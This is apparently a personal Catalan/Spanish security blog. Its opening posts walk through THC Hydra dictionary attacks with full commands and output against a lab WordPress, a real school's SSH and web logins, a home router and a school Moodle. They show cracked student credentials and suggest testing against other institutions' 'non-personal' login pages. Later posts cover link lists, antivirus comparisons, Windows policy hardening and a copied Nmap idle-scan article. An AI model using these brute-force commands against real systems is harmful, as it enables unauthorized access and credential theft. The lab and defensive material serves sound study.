seguro en tu pc

hydra contra distribució DVL, wordpress

2016-01-31T23:37:00.000+01:00

després d'arrancar amb virtualbox la districió DVL, arrancar serveis http i mysql
anar a la ruta http://bt.example.net/webexploitation_package_02/wordpress/wp-login.php

(abans arreglar entrant com administrador el directori de que enlloc de treballar com localhost, que es cridi a bt.example.net que és el hostname de la màquina) - de la mateixa manera a la kali afegim a host la entrada bt.example.net

mirem fitxer wp-login.php de validació de wordpress per identificar les variables a parametritzar amb hydra.

<form name="loginform" id="loginform" action="wp-login.php" method="post">
<p><label>Username:<br /><input type="text" name="log" id="log" value="" size="20" tabindex="1" /></label></p>
<p><label>Password:<br /> <input type="password" name="pwd" id="pwd" value="" size="20" tabindex="2" /></label></p>
<p class="submit">

hydra bt.example.net -l admin -P /usr/share/john/password.lst

http-post-form '/webexploitation_package_02/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:failed;'

en aquest sistema el sistema no identifica correctament encertar el password , pero si ho podem

vveure en el wireshark la redirecció que es produeix en posar la combinació correcta. Ho identifiquem

per se la redirecció 302

buscant el port origen de la comunicació 33873 em serveix per trobar la combinació correcta.

comprobar con hydra fortaleza contraseña web

2016-01-31T23:06:00.000+01:00

hydra per serveis ssh

hydra ies-sabadexx.xxx -L users-ordinadorssh -p xxxx ssh -s xx -t 2 -vV

 [ATTEMPT] target ies-sabad - login "15smx2b24" - pass "xxx" - 24 of 30 [child 1]
[ATTEMPT] target ies-saba - login "15smx2b25" - pass "xxxx" - 25 of 30 [child 0]
[81][ssh] host: ies-saba   login: 15smx2b24   password: xxx
[ATTEMPT] target ies-sab - login "15smx2b26" - pass "xxxx" - 26 of 30 [child 1]
[81][ssh] host: ies-sab   login: 15smx2b26   password: xxxx

CONTRA LA WEB

<form name="form1" method="post" action="users.php">            
            <p> User: <input name="user" type="text" id="user"></p>
            <p> Password: <input name="pass" type="password" id="pass"></p>
            <p />
            <p><input type="submit" name="Entrar" value="Submit"></p>
          </form>

en cas de fallar les variable suser i password obtenim

<header>
  <title>Error</title>
  <link type="text/css" rel="stylesheet" href="hard.css" />
</header>
<body>
    <div id="main">
      <div id="capsalera"></div>
      <div id="result"> 
      <h1>login failed!</h1>
      <p></p>
      <p id="resultat">Are you authorised to login?</p>
      <img src="failed.jpg" width=500>

en cas de coneixer la contrasenya d'entrada al servei (normalment no passarà mai) obtindria una pàgina diferent.

<header>
  <title>Freak's members zone</title>
  <link type="text/css" rel="stylesheet" href="hard.css" />
</header>
<body>
    <div id="main">
 <div id="capsalera"></div>
 <div id="result">
<h1> Login Ok!</h1>

fem la prova
hydra ies-sabadell.cat -l torres -P /usr/share/john/password.lst http-post-form '/~10smx162/smx/users.php:user=^USER^&pass=^PASS^:failed!' -vV -s 80 -t 10

ERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/private.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php

en el nostre cas, la redirecció a una web diferent és la condició d'exit. encara que el sistema no sigui capaç de detectar-la correctament

Provar amb el router de casa

ROUTER DE CASA
root@kali:~/Baixades# hydra 192.168.1.1 -l 1234 -P /usr/share/john/password.lst -t 2 -vV -s 80 http-get

hydra –l 1234 –P /root/password.lst –e ns –f –vV 192.168.1.1 http-get

-l per usuari a provar (1234 usuari de telefonica router) o -L per agafar usuaris d'un fitxer
-p per provar un password o -P per provar un fitxer de passwords
-t 2 per forçar el num de proves per segon, d'aquesta manera en prova 2 (per defecte fa 16)
-vV modo verbose, que ens ensenyi les proves que fa, i les respostes que obté del servidor ( la redirecció de la pàgina)
-s 80 per indicar el port del servei
http-get el metode de la pàgina web per passar-li el paràmetre

[ATTEMPT] target 192.168.1.1 - login "1234" - pass "carmen" - 17 of 3551 [child 15]
[ATTEMPT] target 192.168.1.1 - login "1234" - pass "mickey" - 18 of 3551 [child 1]
[80][http-get] host: 192.168.1.1   login: 1234   password: 1234
[STATUS] attack finished for 192.168.1.1 (valid pair found)

otras sentencias muy útiles:

    -R esto restaura la sesión anterior que se nos haya caído (muy normal cuando nuestro pc no es muy bueno) o que hayamos abortado [-R].
    -S se conecta por SSL [-S].
     -C Esta sentencia se usa eliminando -l/-L y -p/-P ya que aquí se especifica un diccionario combo, osea que tenga tanto usuario como contraseña con el formato user:pass [-C diccionario-combo.txt].
    -o Esto es muy útil ya que nos ira dejando en un documento que nosotros especifiquemos todas las contraseñas y usuarios que vaya sacando [-o output.txt].
    -f Se cierra Hydra después de encontrar el primer password [-f].
    -w Con este se puede especificar el tiempo máximo (en segundos) que queramos que este crackeando passwords [-w 9999999].

service the service to crack. Supported protocols: telnet ftp pop3 imap smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth pcanywhere teamspeak sip vmauthd firebird ncp afp

OPT some service modules need special input (see README!)

En ocasiones, los ataques son cancelados por multitud de razones, hydra en estos casos genera un fichero llamado “hydra.restore” que contiene la última sesión ejecutada por THC Hydra, de este modo es posible continuar con ataques inconclusos partiendo desde el ultimo estado del ataque, para esto se emplea la opción -R
http://thehackerway.com/2011/04/08/hydra-ataques-de-fuerza-bruta/
http://insidetrust.blogspot.com.es/2011/08/using-hydra-to-dictionary-attack-web.html

REPTES - PROVAR AMB WEBS NO PERSONALS I AMB UNA ESTRUCTURA DE PAS D'UN PARÀMETRE OCULTE
http://insestatut.cat/index/index.php/component/users/?view=login

<form action="/index/index.php/component/users/?task=user.login" method="post" class="form-validate form-horizontal well">

  <fieldset>
            <div class="control-group">
      <div class="control-label">
       <label id="username-lbl" for="username" class="required">
 Usuari<span class="star">&#160;*</span></label>      </div>
      <div class="controls">
       <input type="text" name="username" id="username" value="prova" class="validate-username required" size="25" required aria-required="true" />      </div>
     </div>
                <div class="control-group">
      <div class="control-label">
       <label id="password-lbl" for="password" class="required">
 Contrasenya<span class="star">&#160;*</span></label>      </div>
      <div class="controls">
       <input type="password" name="password" id="password" value="test" class="validate-password required" size="25" maxlength="99" required aria-required="true" />      </div>
     </div>
       
   
      <div  class="control-group">
    <div class="control-label"><label>Recorda'm</label></div>
    <div class="controls"><input id="remember" type="checkbox" name="remember" class="inputbox" value="yes"/></div>
   </div>
   
   <div class="control-group">
    <div class="controls">
     <button type="submit" class="btn btn-primary">
      Entra     </button>
    </div>
   </div>

   <input type="hidden" name="return" value="aW5kZXgucGhwP0l0ZW1pZD0xMDE=" />
   <input type="hidden" name="1cd1a7618469095f6919628b44c54a6b" value="1" />  </fieldset>
 </form>

Avís

Ha fallat l'autenticació: Accés denegat

PROVES SOLTES
hydra -l admin -P /usr/share/john/password.lst ies-sabadell.cat http-post-form '/cicles-moodle/login/index.php:user=^USER^&pass=^PASS^:Invalid.C=/cicles-moodle/login/index.php'

links seguretat informàtica

2016-01-24T22:29:00.001+01:00

links seguretat informàtica

notícies seguretat / blogs seguretat
http://www.rapid7.com/        https://community.rapid7.com/community/infosec/blog/
http://www.securitybydefault.com/
http://www.securityartwork.es/
http://www.elladodelmal.com/
http://www.flu-project.com
http://blog.segu-info.com.ar/
http://hispasec.com/
http://www.hackplayers.com/
https://www.owasp.org/index.php/Main_Page

empreses seguretat i programes
http://www.rapid7.com/resources/free-tools.jsp
http://www.securitybydefault.com/p/herramientas-sbd.html
http://www.flu-project.com/p/herramientas-de-seguridad.html
http://sourceforge.net/directory/os:windows/?q=google%20dork%20scanner cercador google dork_scanner
http://sourceforge.net/projects/d4arker/?source=recommended
http://sourceforge.net/projects/forkaliscript/?source=recommended
http://sourceforge.net/projects/gamja/?source=recommended web vulnerability scanner

informació sobre webs/cercadors
https://www.robtex.com/
https://www.shodan.io     cercador internet de les coses

informació-reptes hacking
http://www.flu-project.com/p/retos-hacking.html

webs exploits
http://sec.jetlib.com/     http://sec.jetlib.com/Exploit-DB/
https://www.exploit-db.com/

e-learning security
https://hack.me/

versions vulnerables
http://exploit.co.il/projects/vuln-web-app/
http://blog.segu-info.com.ar/2015/10/aplicacion-web-extremadamente.html
http://dvwa.co.uk/
https://information.rapid7.com/metasploitable-download.html?LS=1631875&CS=w

noticies individuals
http://highsec.es/2013/07/dns-gathering-transferencia-de-zona-shodan-resolucion-inversa-ataque-de-diccionario-y-maltego/
http://www.flu-project.com/2013/07/escaneres-de-vulnerabilidades-web-cual_28.html
http://www.hackplayers.com/2016/01/recopilacion-de-videos-de-con-2015.html

links distribucions seguretat informàtica
https://www.kali.org/

link escola
http://elpuig.xeill.net/Members/vcarceler/c5/na3/a5
acacha.org

links generics
http://www.adminso.es/index.php/Transferencias_de_zonas_DNS_no_autorizadas

comparativa antivirus 2013 de tomshardware

2013-11-29T15:38:00.002+01:00

en la comparativa da como ganador avast como mejor antivirus 2013 libre de pago

Free Antivirus Software: The Best of 2013

parte de la conclusión es

Though it doesn't finish first on all tests, Avast! wins this year with very similar performances in all sectors. It beats everything else on phishing and blocking dangerous websites. Still, this does not mean that it is the antivirus that best suits everyone.

via translate de google

A pesar de que no termina en primer lugar en todas las pruebas, Avast! gane este año con actuaciones muy similares en todos los sectores. Es mejor que todo lo demás en el phishing y bloqueo de sitios web peligrosos. Sin embargo, esto no quiere decir que es el antivirus que mejor se adapte a todos.

os animo a leer el artículo y valorarlo

http://www.tomsguide.com/us/best-free-antivirus-software-2013,review-1788.html

analisis de los puertos del ordenador, 5222 sobre la ip 173.194.78.125

2013-10-27T22:40:00.001+01:00

ya va siendo en diversas ocasiones que al hacer un netstat en mi ordenador, aparecen un grupo de conexiones que puedo creer que conozoco o yo provoco, pero esta del puerto 5222 no acabarla de asociarla con ningún servicion en concreto que estuviera corriendo en el ordenador.

he intentado hacer un telnet al puerto 5222 pero no ha contestado nada, he tomado nmap para escanear dicho puerto nmap -p 5222 -T4 -A -v 173.194.78.125

bien, parece ser el servicio google-talk , como se ve en el certificado , commonName=talk.google.com pero yo no tenía abierto el chrome ni estaba logado en la cuenta de gmail, miro de nuevo el netstat y ahora realizo netstat -anb simplemente porque me de el nombre del proceso

pocketcloudservice, pero si pensaba que estaba parado y porqué un servicio que está relacionado con googletalk en apariencia interviene pocketcloudservice, programa para poder ver desde el movil el ordenador? I am getting the "Cannot connect to server" error. I have followed all steps from above and in your comments. I am running windows 7 Pro. The computer I am trying to RDP is on a network and is connected to a SBS 2008 server with a firewall. I have opened ports 5222 and 443 on the server firewall. I have logged in with google account to both pocketcloud windows companion and for the iPad. I checked all 4 boxes for remote desktop in the windows firewall settings. Am I missing something since I am connected to a server?

metallica 3d Through the never

2013-10-24T19:33:00.000+02:00

Con las prisas buscaba descargar via torrent metallica 3d Through the never, rápido que hay que amortizar la adsl y de todas maneras con los niños no puedo ir al cine a ver esta pelicula todo bien, descarga torrent, con suficientes semillas para que la cosa vaya ligera , con un nombre el torrent que presagiaba buena calidad, Metallica Through the Never (2013) BRRip XviD Original Torrent.mp4. vuelvo de recoger el niño de ingles y utorrent me indica que ya está descargado. doble clic para ver que tal.......... a pesar de ser mp4 , desconfio un poco y le paso el antivirus

BIEN ,Y AHORA QUE? FALSO POSITIVO? despues continuo, ahora toca ir a buscar al otro peque de ingles........

Network Monitoring Software - vulnerabilidades

2013-10-23T23:10:00.000+02:00

estoy en busqueda de herramientas para monitoritzar la red, y sobre todo que me hagan un mapa de la misma bastante fiable. Hasta ahora la mejor herramienta que he probado es fluke network map que ya tiene sus añitos y no he conseguido de otra que sea tan fiable. esta es una de las pruebas realizadas con spiceworks The typical network is like a grand central of information. Keep track of it all with Spiceworks easy-to-use interface – where you want, when you want – for free! Here’s what else Spiceworks Networking Monitoring software can help you do:

con un apartado inventory summary donde me indica la distribución de los distintos dispositivos, un security center donde me indica si el antivirus está desactualizado, Alertas sobre el toner de la impresora donde distintos colores estan por debajo del 10% y como vemos en la foto posterior indicación que alerta de màquina desactualizada.... , una joya para tener toda la gestión centralizada. Al ver la alerta buscaba el porqué me lo indicaba, foto adjunta. Buen aviso de seguridad pasiva sin esperarmelo....

en apariencia me parece buena herramienta, de prueba durante 30 días, ya iremos viendo. Por último y dado que iba buscando una herramientas de dibujos de mapa de red automática , esto es lo optenido. no acabo de entender porque dibuja tantas lineas, algunas de más entre los swtichos pero para tener un punto de partida, tampoco está mal, aunque me parece confuso.

information security enciclopedia

2012-05-21T19:57:00.003+02:00

Enciclopedia de la Seguridad de la Información

Alicia explica a Bernardo qué son las funciones unidireccionales y cúal es su utilidad en las comunicaciones digitales. Se particulariza al caso de los algoritmos de hash. Esperamos vuestros comentarios...

petits videos informatius per tenir una seguretat básica i que signifiquen alguns termes de la mateixa....

blindar un pc - editor de políticas de seguridad

2011-10-24T07:35:00.000+02:00

conjunto de opciones para blindar un pc cliente y que el usuario se quede bastante limitado a la hora de toquetear el sistema windows a partir de las plantillas administrativas. ¿Quitar el incono de la papelera de reciclaje es útil? Y eleminar la opción ejecutar de Inicio?

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Internet Explorer/

Aplicar el modo de pantalla completa
Deshabilitar la configuración de la página de Opciones avanzadas
Deshabilitar cambio de la configuración de la página de inicio
Desactivar la funcionalidad “Eliminar el historial de exploración”
Impedir la eliminación de archivos temporales de Internet
Deshabilitar el cambio de configuración del idioma
Deshabilitar el Asistente para la conexión a Internet
Deshabilitar el cambio de configuración de conexión
Deshabilitar el cambio de configuración del Proxy
No permitir que usuarios habiliten ni deshabiliten complementos
Configurar Outlook Express

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Internet Explorer/ Panel de control de Internet/

Deshabilitar la página General
Deshabilitar la página Seguridad
Deshabilitar la página Contenido
Deshabilitar la página Conexiones
Deshabilitar la página Programas
Deshabilitar la página de Privacidad
Deshabilitar la página Opciones Avanzadas

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Internet Explorer/ Menús del explorador/

Menú de archivo: deshabilitar la opción de menú Guardar como…
Menú de archivo: deshabilitar la opción de menú Nuevo
Menú de archivo: deshabilitar la opción de menú Abrir
Menú de archivo: deshabilitar Guardar como página de Web completa
Deshabilitar la opción Guardar este programa en disco

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Internet Explorer/ Características de seguridad

Repasar Opciones

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Internet Explorer/ Configuración de Internet

Repasar Opciones

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Programador de tareas/

Ocultar páginas de propiedades
Evitar que la tarea se ejecute o finalice
Prohibir arrastrar y colocar
Prohibir la creación de nuevas tareas
Prohibir la eliminación de tareas
Ocultar la casilla de verificación de propiedades en el Asistente para agregar tarea programada
Examinar la exploración

Configuración de Usuario/ Plantillas Administrativas/ Sistema/ Opciones de Ctrl.+Alt+Sup/

Quitar la opción Cambiar Contraseña

Configuración de Usuario/ Plantillas Administrativas/ Menú Inicio y barra de tareas/

Quitar vínculos y accesos a Windows Update
Quitar Conexiones de red del menú Inicio
Quitar el menú Buscar del menú Inicio
Quitar el menú Ayuda del menú Inicio
Quitar el menú ejecutar del menú Inicio
Quitar el icono Mis sitios de red del menú Inicio
Agregar cerrar sesión al menú Inicio
Impedir cambios en la configuración de la barra de tareas y del menú Inicio
No guardar historial de documentos abiertos recientemente
Borrar historial de los documentos abiertos recientemente al salir
Desactivar menús personalizados
Desactivar seguimiento del usuario
Bloquear la barra de tareas

Configuración de Usuario/ Plantillas Administrativas/ Escritorio/

Quitar el elemento Propiedades del menú contextual de Mis documentos
Quitar el elemento Propiedades del menú contextual de Mi Pc
Ocultar el icono Mis sitios de red del escritorio
Prohibir al usuario cambiar la ruta de Mis documentos
No guardar la configuración al salir
Quitar el Asistente para limpieza del escritorio

Configuración de Usuario/ Plantillas Administrativas/ Panel de control/

Prohibir el acceso al Panel de Control

Configuración de Usuario/ Plantillas Administrativas/ Panel de control/ Agregar o quitar programas/

Quitar Agregar o quitar programas
Ocultar la página Cambiar o quitar programas
Ocultar la página Agregar nuevos programas

Configuración de Usuario/ Plantillas Administrativas/ Panel de control/ Impresoras/

Impedir la agregación de impresoras
Impedir la eliminación de impresoras

Configuración de Usuario/ Plantillas Administrativas/ Sistema/

Impedir el acceso al símbolo del sistema
Impedir el acceso a herramientas de edición del registro

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Explorador de Windows/

Quitar el menú Opciones de carpeta del menú Herramientas
Quitar el menú Archivo del Explorador de Windows
Quitar “Conectar a unidad de red” y “Desconectar de unidad de red”
Ocultar el elemento Administrar del menú contextual del Explorador de Windows
Ocultar estas unidades específicas en Mi Pc
Impedir el acceso a las unidades desde Mi Pc
Ocultar la ficha Hardware
Quitar la ficha DFS
Quitar la ficha Seguridad
Sin “Equipos próximos” en Mis sitios de red
Sin “Toda la red” en Mis sitios de red
Solicitar credenciales para instalaciones de red
Quitar la característica de grabación de CD
Quitar Documentos compartidos de Mi Pc

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Windows Installer/

Impedir la instalación de cualquier medio extraíble

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Windows Messenger/

No ejecutar automáticamente Windows Messenger al inicio

Configuración de Usuario/ Plantillas Administrativas/ Componentes de Windows/ Windows Update/

Quitar el acceso a todas las características de Windows Update

nmap en podo pasivo o mejor, utilizando un zombie, no detectable

2010-01-04T23:34:00.000+01:00

http://nmap.org/idlescan-es.html

"Idle Scanning" y algunos juegos relacionados al IPID

Hace casi cuatro años, Antirez (investigador de seguridad) posteó; una nueva innovadora técnica de escaneo de puertos de TCP. Un "Idlescan", como llegó a conocerse, permite un escaneo de puertos completamente invisible. �Los atacantes pueden realmente escanear una máquina sin necesidad de enviar ni un sólo paquete al host destino desde su propia dirección! En lugar de ello, un ataque paralelo permite que el escaneo sea una especie de rebote en una máquina inactiva ("zombie") . Los reportes de sistemas de detección de intrusión (IDS) indicarán a la máquina "zombie" como la atacante. Además de ser extraordinariamente invisible, este tipo de escaneo permite mapear la relaciones de confianza basadas en IP entre máquinas.
Asumí que un problema de esta magnitud generaría una respuesta inmediata y parches de parte de los desarrolladores de sistemas operativos. Desafortunadamente, muchos escogieron ignorar el problema por años. Aparentemente, creen que éste es un problema "teórico que no es práctico para ser explotado en el mundo real. Para refutar esa postura, e incrementar la presión sobre los desarrolladores y obligar a que solucionen el problema, he publicado una implementación robusta de un idlescan en versiones recientes de Nmap. Este paper describe la técnica en detalle y ofrece defensas que los administradores de redes, ISPs, y desarrolladores de sistemas operativos pueden utilizar para mitigar esta vulnerabilidad.
Tengan en cuenta que un "idle scanning" es sólo uno de los riesgos de seguridad causados por números de secuencia de IPID predecibles. Este paper describe varios otros ataques de recolección de información posibles gracias a esta característica.

Técnica

Aunque un `idle scanning' es bastante sofisticado en materia de métodos de escaneo de puertos, uno no tiene que ser un experto en TCP/IP para comprenderlo. Sólo se necesita comprender algunas cuestiones básicas:

La mayoría de los servidores esuchan en puertos de TCP, de la manera en la que los servidores de web escuchan en el puerto 80 y los servidores de correo en el puerto 25. Un puerto es considerado "abierto" si alguna aplicación está escuchando en ese puerto, si no, está cerrado.
Una manera de determinar si un puerto esta abierto es envia un paqueter con "SYN" (establecimiento de sesión) al puerto. La máquina destino enviará de vuelta un paquete con "SYN|ACK" (reconocimiento de pedido de sesión) si el puerto está abierto, y un paquete con "RST" si el puerto está cerrado.
Una máquina que recibe un paquete con "SYN|ACK" no solicitado previamente responderá con una "RST". Pero un "RST" no solicitado previamente es ignorado.
Cada paquete de IP en Internet tiene un número de "identificación de fragmento". Varios sistemas operativos simplemente incrementan este número por cada paquete que envían. Por lo tanto la observación de este número puede decirle al atacante cuántos paquente han sido enviados desde la última observación.

Al combinar estas características, es posible escanear una red falsificando nuestra identidad para que parezca que una máquina "zombie" inocente realizó el escaneo. Es más fácil describir esta técnica por medio de un diagrama. En la imagen, debajo, un atacante, A, está escaneando una máquina destino, y a la vez culpando del escaneo a algún zombie, Z. Los cuadrados representan máquinas y las líneas representan paquetes. Breves descripciones en castellano de los paquetes están impresas por encima de las líneas, mientras que las "flags" reales de TCP e información distintiva de los paquetes están impresas debajo de ellas:
Como muestra el diagrama, el host destino responde de manera diferente al Zombie dependiendo del estado del puerto. Si el puerto probado está abierto, el destino envía un SYN|ACK al Zombie. El Zombie no esperaba este SYN|ACK, por lo tanto, envía de vuelta un RST. Al enviar este RST, el Zombie hace que se incremente su número de secuencia de IPID. El verdadero atacante detecta esto en el paso 3. Si el puerto está cerrado, el destino envía un RST al Zombie. Los Zombies ignoran este paquete RST no solicitado y no incrementan su número de secuencia de IPID.

Ventajas del Idlescan

Las técnicas de Idlescan ofrecen al atacante muchas ventajas por sobre otros tipos de escaneo populares como los "SYN scans" o los "FIN scans". Es por esto, que recomendamos defensas importantes para ayudar a proteger la red de este ataque. Estas son algunas de las razones, por las cuales los atacantes podrían usar este método de escaneo:

Porque es el más sigiloso -- Hay muchas técnicas que la gente puede utilizar para camuflar su identidad. Entre ellas, el uso de señuelos (Nmap -D) of escaneos medio-abiertos ("half-open scans", nmap -sS). Pero incluso estas técnicas requieren que el atacante envíe algunos paquetes al destino desde su dirección de IP real. Por otra parte, un Idlescan es completamente invisible -- ningún paquete es enviado al destino desde la verdadera dirección de origen --. Como conclusión, se tiene que los sistemas de detección de intrusión (IDS), generalmente, �indicarán y enviarán alertas diciendo que la máquina Zombie ha lanzado un escaneo hacia ellos!.
Vencer routers/firewalls que filtran paquetes -- El filtrado por dirección de IP de origen es un mecanismo de seguridad muy común que sirve para limitar las máquinas que pueden conectarse a un host delicado. Por ejemplo, el servidor de base de datos de una compañía quizás admita conexiones sólo desde el servidor público de web que accede a ella. Un usuario desde su casa quizás sólo permita conexiones de `ssh' (login interactivo) desde sus máquinas del trabajo. Un escenario más perturbador ocurre cuando alguien de peso en alguna compañía demanda que los adminstradores de red abran un agujero en el firewall para que él puede acceder a los recursos de la red interna desde la dirección de IP de su casa. Esto puede pasar cuando los ejecutivos no pueden o no tienen ganas de contemplar una alternativa de VPN (red privada virtual) segura.
El "idle scanning" puede ser utilizado con frecuencia para mapear esas relaciones de confianza. El factor clave es que los resultados de un Idlescan listan los puertos abiertos desde la perspectiva del host zombie. Por lo tanto un escaneo normal sobre el servidor de base de datos mencionado anteriormente podría mostrar que no hay puertos abiertos. Pero al realizar un Idlescan utilizando al servidor de web como zombie podría exponerse la relación de confianza al mostrar abiertos los puertos de servicios relacionados a la base de datos.
Mapear estas relaciones de confianza puede ser muy útil para que los atacantes le den prioridad a algunos destinos. El servidor de web distutido anteriormente puede parece algo normal al atacante hasta que nota su acceso especial a la base de datos.

Ejemplos de uso de Nmap

El primer paso es encontrar un host zombie apropiado. El host no debería tener mucho tráfico, (de ahí el nombre Idle, inerte, inactivo ) y debería ofrecer valores de IPID predecibles. Impresoras, máquinas con Windows, hosts con versiones de Linux viejas, FreeBSD, y Mac OS son generalmente útiles. Las últimas versiones de Linux, SOlaris Y OpenBSD son inmunes a ser tratadas como zombies, pero cualquier host puede ser objeto de el escaneo. Una manera de determinar la vulnerabilidad de un host es simplemente probar un Idlescan de Nmap. Nmap comprobará el zombie y reportará si es confiable.
Efectuar estos escaneos es bastante fácil. Simplemente hay que proveer de el nombre del host zombie a la opción -SI y Nmap hace el resto. Este es un ejemplo rápido:

# nmap -P0 -p- -sI kiosk.adobe.com www.riaa.com
Starting nmap V. 3.10ALPHA3 ( insecure.org/nmap/ )
Idlescan using zombie kiosk.adobe.com (192.150.13.111:80); Class: Incremental
Interesting ports on 208.225.90.120:
(The 65522 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
25/tcp     open        smtp
80/tcp     open        http
111/tcp    open        sunrpc
135/tcp    open        loc-srv
443/tcp    open        https
1027/tcp   open        IIS
1030/tcp   open        iad1
2306/tcp   open        unknown
5631/tcp   open        pcanywheredata
7937/tcp   open        unknown
7938/tcp   open        unknown
36890/tcp  open        unknown
Nmap run completed -- 1 IP address (1 host up) scanned in 2594.472 seconds

De este escaneo, aprendemos que la RiAA no es muy consciente de la seguridad (se pueden notar abiertos los puertos de "PC Anywhere", "portmapper, Y "Legato nsrexec"). Ya que aparentemente no tienen un firewall, es poco probable que sí tengan un IDS. Pero si lo tienen, mostrará a 'kiosk.adobe.com' como el culpable del escaneo. La opción -P0 previente que Nmap envíe un ping incial a la Máquina de RIAA. Esto disminuye la velocidad del escaneo (hay menos información disponible sobre los tiempos), pero asegura que ningún paquete sea enviado al destino desde nuestra verdadera dirección de IP. El escaneo tardó un largo tiempo porque se escanearon los 65535 puertos -- hay que saltear la opción "-p-" si sólo se quieren escanear los puertos bastante conocidos ("well know ports") además de los puertos 1-1024 --. Uno tiene que asegurarse de encontrar zombies propios -- Kiosk no es muy confiable y es probable que desaparezca o sea monitoreado de cerca --.

Defensas

Afortunadamente, hay varias defensas que pueden ser implementadas para prevenir la mayoría de los ataques relacionados a IPID:
Administradores de Redes:

Los firewalls y "border routers" deberían estar configurados para denegar paquetes entrantes con direcciones de origen extrañas. (por ej. que parezcan venir desde máquinas internas a nuestra red, direcciones reservadas como 10.X.X.X o 192.168.X.X, direcciones localhost 127.X.X.X, etc. Cualquier buena guía de firewalls debería proveer de una orientación más detallada acerca de estas reglas esenciales).
Las reglas de los firewalls que mantienen registro del estado de las conexiones ("Stateful firewalls") pueden ayudar también a este tipo de ataques -- hay que asegurarse de que el firewall ofrezca esta característica y de que esté habilitada --.
Tratar de utilizar sistemas operativos con secuencias de IPID menos predecibles, como versiones recientes de OpenBSD, SOlaris o Linux. Mientras que esos sistemas operativos son inmunes a convertirse en zombies con la versión actual de Nmap, quizás no frenen todos los ataques relacionados a IPID. Se necesita más investigación.
Implementar filtrado de salida para prevenir que paquetes forjados con direcciones falsas abandonen nuestra red. Esto previene que nuestros empleados/estudiantes lancen alguno de estos ataques.

Proveedores de Servicio de Internet (ISPs):
La protección más importante que los ISPs pueden ofrece es utilizar filtrado de salida para prevenir que paquetes forjados con direcciones falsas abandonen nuestra red. Esto previene que los usuarios ejecuten muchos ataques horribles e inclusive, detiene un Idlescan. Además de ayudar al desempeño de Internet, el filtrado de salida puede ahorrartnos costos sustanciales al tener que investigar ataques de "IP spoofing" (engaño de IP).
Desarrolladores de sistemas operativos:
Un buen enfoque es utilizar secuencias de IPID específicas a cada conexión o a cada "peer" (peer: el otro host involucrado en el intercambio de paquetes). Solaris hace esto y limita severamente la información que los atacantes puedan obtener acerca de otras conexiones. Linux 2.4 también utiliza Valores de IPID específicos por cada peer (ver net/ipv4/inetpeer.c). Adicionalmente, Linux 2.4 resetea a cero el campo IPID en paquetes en los que el bit DF ("No fragmentar") está activado. Después de todo, la defragmentación de IP es el único uso crítico del campo ID. Otro enfoque (utilizado por OpenBSD) es generar la secuencia IPID aleatoriamente. Esto es difícil de lograr correctamente -- hay que asegurarse de que la secuencia no se repite y de que cada número no sea utilizado dos veces en un período corto de tiempo --.

Desafíos de Idlescan

Iba a discutir competiciones de implementación para escribir escáners rápidos y precisos. Pero muy pocos de ustedes están haciéndolo, y aquellos que lo hacen, pueden leer la fuente de Nmap y otros escáners. Por lo tanto, sólo remarcaré un cuantos puntos importantes. Esta sección también incluye algunos desafíos encontrados por usuarios de las herramientas.

Desempeño -- Escanear un puerto a la vez (como muestra el diagrama antes visto) puede ser horrendamente lento en el caso de miles de puertos. Nmap maneja esto mandando hasta 100 pruebas. Si Nmap encuentra que la IPID sí se incrementó, limitará la búsqueda de puertos abiertos usando un enfoque de búsqueda binaria.
Hosts no inertes -- Un Idlescan funciona contando el número de paquetes enviados por un zombie y asumiendo que esos paquetes son respuestas a paquetes originados por el destino. Entonces, paquetes extraños enviados por un zombie no inerte pueden causar una confusión importante. Nmap trata de contrarrestar este problema, con retransmisión de las pruebas y otras técnicas para detectar resultados falsos. Por ejemplo, Nmap sabe que algo está mal si prueba 6 puertos y la IPID se incrementa en 10 o 20. Nmap ajusta sus tiempos y paralelismo para compensar hosts que estén ligeramente activos o que descarten (drop) paquetes cuando detecta esto. Sin embargo, Nmap no será confiable con los zombies muy cargados de actividad. Una técnica para manejar zombies muy activos es enviar un gran número (docenas o cientos) de pruebas a cada puerto. Esta técnica de "fuerza bruta" puede ocultar una pequeña cantidad de tráfico de "ruido blanco". Desafortunadamente, el costo es un ancho de banda significativo, escaneos lentos, y la posibilidad de rebalsar con SYNs ("SYN flood") al destino. Thomas Olofsson demostró una herramienta para lograr esto en su presentación en la "2001 Black Hat Briefings". Su presentación (Powerpoint) está disponible aquí.
Filtrado de salida -- Si no podemos forjar paquetes con direcciones de origen falsas debido al filtrado de salida por parte de tu ISP, intenta con otro ISP o (para usuaros avanzados) se puede probar haciendo un "IP tunneling". También se puede tratar de hacer "rebotar" el ataque desde otra máquina dentro de tu misma red (ya que es poco probable que sea filtrada).
Zombies inmunes -- Algunos hosts no funcionarán como zombies debido a un sistema operativo astuto o tráfico sustancial. En muchos casos, simplemente se puede utilizar un zombie diferente.

Más diversión con predicción de IPID

Aunque este paper se enfoca en utilizar secuencias de IPID predecibles para escanear puertos, hay muchas otras maneras retorcias de explotar esta información. Esta es una breve lista:

